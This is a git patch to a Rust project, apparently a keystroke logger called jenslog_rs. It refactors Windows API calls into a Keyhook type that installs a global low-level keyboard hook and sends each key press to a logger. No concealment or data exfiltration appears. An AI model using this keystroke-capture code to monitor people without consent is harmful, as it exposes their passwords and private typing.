From 4bbde71e8e8d17b10c39c827a86dce5854ae48cc Mon Sep 17 00:00:00 2001 From: LordMZTE Date: Tue, 1 Sep 2020 16:31:07 +0200 Subject: [PATCH] add some abstraction to windows api calls --- src/key/Keyhook.rs | 40 ++++++++++++++++++++++++++++++++++++++++ src/key/mod.rs | 3 ++- src/lib.rs | 2 +- src/main.rs | 31 +++++++++++++------------------ 4 files changed, 56 insertions(+), 20 deletions(-) create mode 100644 src/key/Keyhook.rs diff --git a/src/key/Keyhook.rs b/src/key/Keyhook.rs new file mode 100644 index 0000000..194706f --- /dev/null +++ b/src/key/Keyhook.rs @@ -0,0 +1,40 @@ +#![macro_use] + +use winapi::um::winuser::{HOOKPROC, SetWindowsHookExA, GetMessageW}; +use std::ptr::null_mut; + +#[macro_export] +//im suprised this works. +macro_rules! hookproc { + ($i:expr) => {{ + use std::option::Option::Some; + use winapi::um::winuser::PKBDLLHOOKSTRUCT; + + unsafe extern "system" fn hookproc(code: i32, w_param: usize, l_param: isize) -> isize { + $i(code, w_param, *(l_param as PKBDLLHOOKSTRUCT)); + 0 + } + + Some(hookproc) + }} +} + +pub struct Keyhook { + pub callback: HOOKPROC, +} + +impl Keyhook { + /// use `hookproc` macro here to get callback from closure + pub fn new(callback: HOOKPROC) -> Self { + Self { + callback, + } + } + + pub fn start(&self) { + unsafe { + SetWindowsHookExA(13, self.callback.clone(), null_mut(), 0); + GetMessageW(null_mut(), null_mut(), 0, 0); + } + } +} diff --git a/src/key/mod.rs b/src/key/mod.rs index 30cf9ed..3ec971e 100644 --- a/src/key/mod.rs +++ b/src/key/mod.rs @@ -1 +1,2 @@ -pub mod keystate; \ No newline at end of file +pub mod keystate; +pub mod keyhook; \ No newline at end of file diff --git a/src/lib.rs b/src/lib.rs index e236e29..a111f3c 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -24,7 +24,7 @@ fn get_flag(val: u32, flag: u32) -> bool { ///true if exactly 1 bit of the given number is set fn has_one_bit_set(n: u32) -> bool { //Dont ask me why this works! its mathgic! - n > 0 && !(n & (n - 1) > 0) + n > 0 && n & (n - 1) == 0 } #[cfg(test)] diff --git a/src/main.rs b/src/main.rs index 4aa37a0..11582db 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,13 +1,13 @@ +#[macro_use(hookproc)] +extern crate jenslog_rs; #[macro_use] extern crate lazy_static; use std::env::args; -use std::ptr::null_mut; use std::sync::Mutex; -use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA}; - -use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}}; +use jenslog_rs::{key::keystate::KeyState, logging::logger::{get_logger, Logger}}; +use jenslog_rs::key::keyhook::Keyhook; lazy_static! { static ref KEYSTATE: Mutex> = Mutex::new(KeyState::new()); @@ -15,18 +15,13 @@ lazy_static! { } fn main() { - unsafe { - SetWindowsHookExA(13, Some(hook_callback), null_mut(), 0); - GetMessageW(null_mut(), null_mut(), 0, 0); - } -} - -unsafe extern "system" fn hook_callback(_code: i32, _w_param: usize, l_param: isize) -> isize { - let mut state = KEYSTATE.lock().unwrap(); - let key = *(l_param as PKBDLLHOOKSTRUCT); - state.update(key); - //Check if keydown and not aux key - if state.is_down() || state.is_aux_key() { return 0; } - LOGGER.log(&state); - 0 + let hook = Keyhook::new(hookproc!(|_, _, key| { + let mut state = KEYSTATE.lock().unwrap(); + state.update(key); + //Check if keydown and not aux key + if state.is_down() && !state.is_aux_key() { + LOGGER.log(&state); + } + })); + hook.start(); }